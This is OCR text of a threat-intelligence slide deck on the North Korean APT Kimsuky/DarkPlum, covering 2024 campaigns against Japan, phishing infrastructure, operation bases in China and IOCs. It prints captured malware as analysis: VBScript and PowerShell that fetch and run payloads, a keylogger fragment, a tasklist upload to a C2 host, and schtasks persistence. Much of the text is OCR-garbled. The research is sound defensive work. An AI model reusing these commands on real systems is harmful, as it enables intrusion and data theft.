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INTRO: DARKPLUM

« DPRK-nexus APT
« Aka Kimsuky, APT43
« Targeting:

11

- = = B M

Government Defense Media Think Tank Cryptocurrency Finance

- South Korea, Japan, Europe, and the United States.
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Clusters of DarkPlum

DarkPlum, APT43, Kimsuky (Public), EmeraldSleet, Thallium, Black Banshee, Velvet Chollima

Security
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Kimsuky (Original), KimDragon
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Recent Attack Cases Targeting Japan

« Attacks targeting Japan have historically been rarely observed
» Often corresponding to changes in international relations
* Increasing since March 2024
» A potential contributing factor could be North Korea's shift in policy
» Particularly its abandonment of reunification goals
« Main target is diplomatic sector including academic and think tank researchers
» Steal information related to national security

° =% FA(Kota Kino) 2024/07/08 ][-llOIé%jl_l. MS_?__'EI_E_—EI—% %}gﬁ Kimsuky APT 4;_71 HEI' A
BARDiBEEIR> EED IL—T Kimsuky(C LK BDH (eh2ah 2 A 22 TS )

55 Kimsuky APT attack discovered using Facebook & MS management console

https://blogs.jpcert.or.jp/ja/2024/07/kimsuky.html https://www.genians.co.kr/blog/threat intelligence/facebook
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Case 1l

In March 2024, an attack campaign by BabyShark cluster

« Targeting researchers in the national security sector

« The initial vector was email, involving the opening of executable files with double extensions
« Multiple stages VBScript and PowerShell code

« RandomQuery and Keylogger were executed
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C&C Server

Case 1: Flow

Double-Extension RandomQuery Keylogger
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Case 1: RandomQuery

« Setting a persistence
« Download and execute a keylogger

Sub Proc(p_cmd)
set wm = GetObject("winmgmts:win32 process")
set ows = GetObject("winmgmts:\root\cimv2")
set ost = ows.Get("Win32_ ProcessStartup")
set oconf = ost.SpawnInstance_
oconf.ShowhWindow = 12
errReturn = wm.Create(p_cmd, Null, oconf, pid)
End Sub

uri = "https://n 1| =~ma " " e W] . o
pow_cmd = "cmd /c powershell -command ""iex (wget xxx/show.php?query=4,).content; PokDoc -Slyer

pow_cmd = Replace(pow_cmd, "xxx", uri)
Proc(pow_cmd)

1 rmnnn

XXX
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Case 1: Keylogger

« Same type of AhnLab’s report
« Can’t download additional payload
« Simple keylogger

@ NTT security

Function InfoKey {
Param (
[string] $ur

$Script:webReqUpload = $null;

$Script:boundary = "";
$Script:upURL = $ur;

Function InitWebRegSessions {
$Script:webReqUpload = New-Object Microsoft.Pow
$Script:webReqUpload.UserAgent = "Mozilla/5.8 (

--- snip ---

$0_enc_mode = [System.Text.Encoding]::UTF8
$a_kb = New-Object Byte[] 256

$strBuilder = New-Object -TypeName System.Text.
$curlWind = New-Object System.Text.StringBuilder(

$a_asc x09, ©ex27, Ox2E, exes, 0x24
$a_str = @("Tab", "[->]", "[Del]", "[Bk]", "[Ho
$tf = "yyyy/MM/dd tHH:mm:ss"

$oldWnd = ""

$0ldTick = @

$o0ldClip = @

$upTick = @

$minTime 15000000
$maxTime 21000000
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Case 2

In April 2024, an attack campaign by BabyShark cluster
« Targeting researchers in the national security sector
« The initial vector was email, malicious MSC file was used
» In similar campaign targeting South Korea, Facebook Messenger was used as the initial vector

« Multiple stages VBScript and PowerShell
« Maybe BabyShark/ReconShark were executed (unconfirmed)
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C&C Server

Case 2: Flow

BabyShark?
ReconShark?
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Case 2: MSC File

« A pioneer in exploiting MSC file
« Employed a primitive method, abusing “TaskPad” feature in MMC
» Execution of the malicious code required user interaction

» Disguised malicious Task object as legitimate link to lure click

ﬂ MNZZ_Interview_Kohei Yamamoto @ Zoom Meeting
@ 77D YEIW ALTH) @ J7UE BER FREY BRECAYNQ YFEIW ALTH)
1 Security Mode 1 Zoom Meeting
Open Launch Meeti
MZZ_Interview_Kohel Yamamoto.docx =aunch eeuna

04/02/2025
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Download and display a decoy file

curl -o "%temp%\0808-DWnews.docx" "http://handhygieneforhealth.org/.

well-known/acme-challenge/0802/d.php?na=view"

"%temp%\0808-DWnews .docx" /d.php?na=view

Send a process list to C2 server

tasklist>"%appdata%\t.txt"

=== Zjd[ ===

powershell -windowstyle hidden (New-Object System.Net.WebClient).
UploadFile("""http://handhygieneforhealth.org/.well-known/

acme-challenge/0802/upload_dotm.php""","""$env:appdata\t.txt""") /upload_dotm.php
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On Error Resume Next

Set ws = CreateObject("WScript.Shell")
Set fs = CreateObject("Scripting.FileSystemObject")

mi = ws.ExpandEnvironmentStrings("%appdata%") + "\Microsoft\qwer."
gpath = mi+"gif"
bpath = mi+"bat"

If fs.FileExists(gpath) Then

Set f = fs.GetFile(gpath)

If f.size < 9 Then
fs.deletefile(gpath)
wscript.Quit

End If

re=fs.movefile(gpath,bpath)

re=ws.run(bpath,0,true)

fs.deletefile(bpath)

Randomize
wscript.sleep 10000*Rnd
cc="curl -o ""%appdata%\Microsoft\qwer.gif"" http://
handhygieneforhealth.org/.well-known/acme-challenge/0802/d.php?
na=battmp"
a=ws.run(cc,0,false)

End If

@ NTT security

Persist a VBS file by task scheduler

Download and execute [[sfelglodatEler=1iipgle

Maybe manually placing next payload
— We could not download file
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Case 2: d.php

if($chk=="view")
{

if($chk=="battmp")

{
if($ff=fopen($chk,"r"))

{

if(file exists("battmpl™))
{

$contents = fread($ff, filesize($chk)); if ($ff = fopen ("battmpl”, "r")) {

$contents = fread($ff, filesize("battmpl™));

fclose($ff);
echo $contents;
exit;

fclose($ff);

echo $contents;
unlink("battmpl");
exit;
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Case 2: upload_dotm.php

$Now_time = time();

$date = date("Y-m-d-h-i-s-A",$Now_time);
$ip = getenv("REMOTE_ADDR");
$dirname=base64_encode($ip);

(1] (1] 1]

$dirname=str_replace("/"," ",$dirname);
if(!file _exists("res"))mkdir("res");
$att_path = "./res/".$dirname." ".$date.$ FILES['file'][ 'name’'];
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Case 2: Extra

test.php

<?php

header("Content-Type: application/jpeg");
header("Content-Length: " . filesize("test.msc"));
header('Content-Disposition: attachment; filename="test.msc"');

S n L1}
r‘ead-Flle( Test.msc )’ CommandLine Directory="" WindowState="Minimized" Params="/c mode 15,1&amp;tasklist® R sappdata¥
y - . PF
exit: quot;&amp;curl -o & ote DPRK meeting agenda and participants.doc jot; mem.mcgnu.kro.kr/
i : DPRK meeting
25 > o el
: Ni W ] =1¢ );echo On Error Resume Next:
fs = Create Objectg quot Scrlptlng FileSystemObject&qu :mi = ws.ExpandEnvironmentStrings(&quot;%
quot;) + &q \Microsoft\qwer t;:gpath = mi+ ;g1 ot; :bpath = mi+ t;bat&qu :If fs.FileExists
(gpath) Then:Set f .GetFile(gpath):If f.size ) Thcn Fs deletefile(gpath):wscript.Quit:End If:re=fs.
movefile(gpath,bpath):re=ws. run(hnath 0,true):fs.deletefile(bpath):Else:Randomi @:wscript.sleep 10000*Rnd: cc=&
§ &quc gnu.kro.kr/0718/d.php?
Nylyl ) s\temper&quot ; &: ;del

temper&q ; whole.vbs ";ﬁchtads /create /tn Tempor ar*yClLd rState /tr

quot;wscript.exe /b juot ppdata’%\wh .vbs&quot; ot; /sc minute /mo 58 /f&amp;powershell
-windowstyle hidden —ij ct System.Net.WebClient). UploadFl e( ¢ { tp:// cgnu.kro.kr/
0718/upload_dotm.ph ; uot; $env:appdata\t.t ] : a
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Case 3

In May 2024, a phishing attack was observed B= Microsoft

« Japanese-language phishing website hosted on compromised P
website KAT-KEANTS

« Target and infection vector remain unclear
* The infrastructure overlaps the Babyshark Cluster
» KLogEXE / Kimalogger C2

SRk

NRT—-REENSRE
J M g DOVTOBETF AL I-F

BID Microsoft VAU MCHA24293

Y1242
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The State of Attacks in Japan

« BabyShark cluster has increasingly focused on Japan

 From March 2024, attacked Japanese people

* In addition to traditional attack method, new techniques was
observed, such as the use of MSC file

« The primary objective appears to be the theft of national security
related information

« Given DPRK'’s ongoing situation, it is likely that such attacks will
continue
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Step 1: OSINT

Combination of
« JARMS

IP geolocation

ISP/ASN:

y 20473: AS-CHOOPA
y 44066: firstcolo GmbH

Runnings services: XAMP

HTTP(s) responses:

PPPPPP Sensitivity Label: Medium 04/02/2025
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Step 1: OSINT discovery (1)

LL
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fot
At
S

South Korea platform
* Naver

kakao
« Kakao

Jot
e

« Daum

mmms m@hanmail.net (%]

TIP Please enter your ID if you have already subscribed to KakaoMail.

Password

O Save Login Information (i)

LogIn

PUBLIC
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Step 1: OSINT discovery (2)

32 M= Edo|Y HEAM, +AE
=
o |

South Korea platform

* Naver A @HO| MR O 2 A AL
° KakaO El-' 0/ 580/ 04 22|

20l 1=
 Daum EHNOIE! HIA
Gmalil

« Crypto Trading Platform: The deletion request has been
' successfully canceled.

» TradingView

y Documents
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Step 1: OSINT discovery (3)

South Korea Academic institutions & saaH

* Yonsei University S ol Rtoist 2 Aol

« Dongduk Women's University

ofolc]

@ dongduk.ac.kr

WEBMAIL 2301 -

2I0E SHFAH Q.

ZIQ01R7X

otol| @yonsei.ac.kr

23¢9l

20119 22 172 EE ZE A~ THY AEAL HF(Ss0)2 S YE oto|C), B 2SR =10 61A7] 8HE

.
E A" L“ —!'.l_.l.l. [ otolcl ®ig

YONSEI UNIVERSITY

DHIE © 1668-2590 | TS : 02-2123-4972
22| (QaA)
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Korea University e i
KU P I D Portal to Information Depository NE AHA | ME BH2S

Step 1: OSINT discovery (4)

South Korea Academic institutions o = ;
 Korea University 7 % ‘ e oo

« SungKyunKwan University

6"&E=._H:Hf_!rm

"0 J SUNG KYUNKWAN UNIVERSITYISKEL)

» ZE opojCi/HjEHS 2of

02-3290-1141~5, 4090~2
et
02-3290-4777

» HuHY Bo|

= 02-3290-4777

0lo|C|E glEEtM 2 @ skku.edu -

HlZHSE ettt R 1D = &

@ &=o O English

LOGIN

COPYRIGHT © SUNGKYUNKWAN UNIVERSITY All Rights Reserved.
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Official site Phishing site
A s
SUNG KYUN KWAN UNIVERSITY(SKKU) Y O = - 4L
10 ) SUNGKYUN KWAMN UNIVERSITYISKKL)
(® Korean (O English
| 1D HEH oto|c| € plEatM 2 @ skku.edu v
HLUHS S Q=M B D10 &~ &
@® 5= ) English
Z7¢9l
LOGIN
AHQ 7FA ID &7] HIZHS R7| D HEE]|
=-el=zd Q\ COPYRIGHT © SUNGKYUNKWAN UNIVERSITY All Rights Reserved.
04/02/2025
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Step 1: OSINT discovery (6)

OrMHEAAA 82 OLMIEMEEH
Xk A X kl
a T o

Professor’s Gmail
Asan: Policy Research Institute:

(- 2024. 8.

S. M r~ Email or phone

ign in -

to continue to Google Drive ] _
Forgot email?

Not your computer? Use a Private Window to sign in.
Learn more about using Guest mode

Create account m
Op4HgHH P4
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Step 1: OSINT discovery (7)

Professor’'s Gmail
Asan: Policy Research Institute:
« Asanist.org = Legit

« Asaninist.org = DarkPlum

® NTT security

The Asan Institute for Policy Studies

Security Advisory
on Malicious Phishing Emails

It has recently been confirmed that phishing emails
purporting to be employees of the Asan Institute for Policy

Studies are being randomly distributed.

For your information, our employees only send
work—related emails through the Institute’s official domain
( @asaninst.org). If you receive an email based on a

portal site such as Gmail, Naver, Daum or

@asaninist.org from an employee of our Institute, please

do not click on the URL address in the email and do not

download any attached files.

Thank you for your support at our Institute. We ask you to

check the email address carefully before you open it.

THE ASAN INSTITUTE for POLICY STUDIES

PUBLIC
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Step 1: Malware loCs

e RATs:
y Xenorat

» QuasarRat (XRat)

» AsyncRat

« Custom Keylogger
« KGH Spy

PPPPPP Sensitivity Label: Medium 04/02/2025



OSINT Discovery Summery

« Heavily targeting @Naver.com
« Used the compromise email to conduct further cyber
espionage
* Recent activities
» Targeting users on multiple cryptocurrency
platforms

» Targeting researchers

PPPPPP Sensitivity Label: Medium 04/02/2025



Step 2: Uncover Operation Bases

Operation Bases are used to control and manage
their infrastructure.

* TA's host discovered using OSINT
* Malware IOCs

* Correlation searches with data collected from
large scale networks

Operation Base Requirements:
* No Open ports & Not an Anonymous services

* Consistent Communication Patterns

N

——

. 3
——

PUBLIC

Sensitivity Label: Medium
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Operation bases

« Using RDP to manage their infrastructure
* |Intermediate Server

3389

‘ RDP
\ ] 4

RDP/SSH

| i’

Intermediate Server
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Operation Base: OPSEC

<Redacted>

PUBLIC Sensitivity Label: Medium 0400272025



Tieling
#h§$

yang ik
Fush
i o

Benxi

(o]

PUBLIC

Musan;

EPREY

2 Baﬂj?gn Samjiyon
njly
Tonghua H ALK A
B i
o
yesan
SJALA|
Manpo
e Kanggye
ZAA
o
North Korea e
O
o]
Hamhung
S Al
Munchon

Pyohgyang
o
@

Koksan

A
=4

Sariwon
Malo 2IA

Haeju
SHEAI
o v 1
Kaesong.5
7
gl RSN

Q

Wonsan
2 LA

Kosong

™S AANIOCIANIOA NN

phalb

J

Tanchon

SIZA|
Q

® NTT security

Operation bases: locations

Observed in 2 locations
« Dandong

« Baishan (New location)

The hospital paid in bitcoin, which was transferred to a Chinese
bank and then withdrawn from an ATM in Dandeng, China, next to
the Sino-Korean Friendship Bridge which connects the city to
Sinuiju, North Korea, the indictment said.

two units, Unit 121 and Unit 110, have their members
stationed in Shenyang and Dandong, China because the
Internet connections in North Korea are so few. It is
estimated that from 600 to 1,000 cyber warfare agents are

acting in a variety of cells in China.

bel: Medium

04/02/2025



@ NTT Security

Operation Bases: Working Hours

« Korea time zone (UTC+9)
« 3 months of data (June — AuQ)
« 17 Hours/Day

REDACTED

PPPPPP Sensitivity Label: Medium 04/02/2025



Operation Bases: Working Day

7 Days/week

REDACTED

PUBLIC Sensitivity Label: Medium . 040022025
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Operation Bases: In Action

5N RDP/SSH _______ ‘ RDP

= - = o9 :
.. .
VULTR KR Intermediate Baishan

Server Dandong

l

RDP g

VPN
a— Firstcolo GmbH :
% ASYNCRAT ~20 Victims
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Operation Base: Results

* Uncover Location of Operation bases
« Operation base often communicate with
UNKNOW hosts

+ did not resolve to any known domains ‘

C OSINT Findings
initially :

 Malicious domains resolved later

|

UNKNOW
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Merging Insights: Ahnlab

* XenoRAT
« Swolf0512@gmail.com

ONLINE PRIVACY POLICY AGREEMENT

March 7, 2024

SWOLF Inc ( SWOLF Inc) galues its users' privacy. This Privacy Policy ("Policy”) will help you understand how we collect and

: : m those who visit our website or make use of our online facilities and services, and what we will
and will not do with the information we collect. Our Policy has been designed and created to ensure those affiliated with
SWOLF Inc of our commitment and realization of our obligation not only to meet, but to exceed, most existing privacy
standards.

How to Contact Us

If you have any questions or concerns regarding the Privacy Policy Agreement related to our website, please feel free to
contact us at the following email, telephone number or mailing address.

l Email: swolf0512@gmail.com !
elephone Number: + -555-1234

Mailing Address:
SWOLF Inc

350 5th Ave

New York, New York
10118

® NTT security

The attacker's email information confirmed during analysis is as follows.

kumasancar@gmail[.]Jcom
effortnully@gmail[.]Jcom
tangdang/7790@gmail[.Jcom

tantanibux@gmail[.]cmm

swolf0512@gmail[.Jcom |

...
Xenorat
159[.]100.29.122:8811

PUBLIC
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Merging insights: TRANSLATEXT

« TRANSLATEXT discovered by Zscaler in May 2024

we discovered an instance where Kimsuky used a new Google Chrome extension, which
we named “ TRANSLATEXT ", for cyber espionage. TRANSLATEXT is specifically leveraged to steal
email addresses, usernames, passwords, cookies, and captures browser screenshots.

* Observed Privacy Polices related to browser extension
Privacy Policy Privacy Policy

Effective date: May 10, 2024 AI( Mini-Cookie-Manager, we Ia.re commutted to protecting your privacy

OLI' Mini Calculator Chrome Extension (|us", "we", or "our") operai 1. Information Collection:

This page informs you of our policies regarding the collection, use, : We do not collect any personally identifiable information from users thn

Security

PUBLIC
Sensitivity Label: Medium
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Merging insights: TRANSLATEXT

« TRANSLATEXT discovered by Zscaler in May 2024

« EXxpose log

» March -> May
» Debugging purpose: IP from Express VPN
» Exfiltrate URL & Data

* 80 Victims:

» Crypto theft: ~15 Crypto trading account
» Espionage: Academic victims

« Likely an early version of TRANSLATEXT with fewer features
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Merging Insights: MoonPeak by Cisco Talos

* Aug 2024
« XenoRat = MoonPeak

RDP RDP

v

.3
——

27[.]255.80.162 Yonsei Phishing Operation Base
yoiroyse[.]store <?,Baishan
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Merging Insights: Securonix & Genians

« CLOUD#REVERSER by Securonix
« Konni by Genians

Operation Base
<é}Baishan

VPN
FTP Firstcolo GmbH AsyncRAT
79[.]133.56.173 159[.]100.13.216
Genians Securonix
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Merging insights:

©) NTT

Summary

... /]
Xenorat

MoonPeakV1
159[.]100.29.122:8811

AhnLab

|

‘ 15t Gen TRANSLATEXT
Pt < Malicious Chrome extension
s Zscaler
swolf0512@gmail.com

Expose log
Malicious Chrome extension

AsyncRAT
159[.]100.13.216
Securonix

.3
C——

MoonPeak
27[.]255.80.162
yoiroyse|[.]store
Talos

.3
——

Dandong FTP
79[.]133.56.173

Genians

Security

PUBLIC
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Future research:

1. Create clusters from discovered connections
* Dandong = Unit XX1?
 Baishan = Unit XX27?

2. ldentify new or detailed TTPs
3. Find connections between clusters and validate hypotheses about group
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Summary

* Recent Attack Campaigns targeting Japan:
» Mainly diplomatic sector
» Belonging to BabyShark cluster
e Operation Bases in China
» Dandong, Baishan
« Working Hours:
» 17 hours/day, 7 days/week
« Darkplum cyber operation is massive in scope
» Tracking approximately 100 hosts

» Recent research by several security companies intersects with
our findings

04/02/2025
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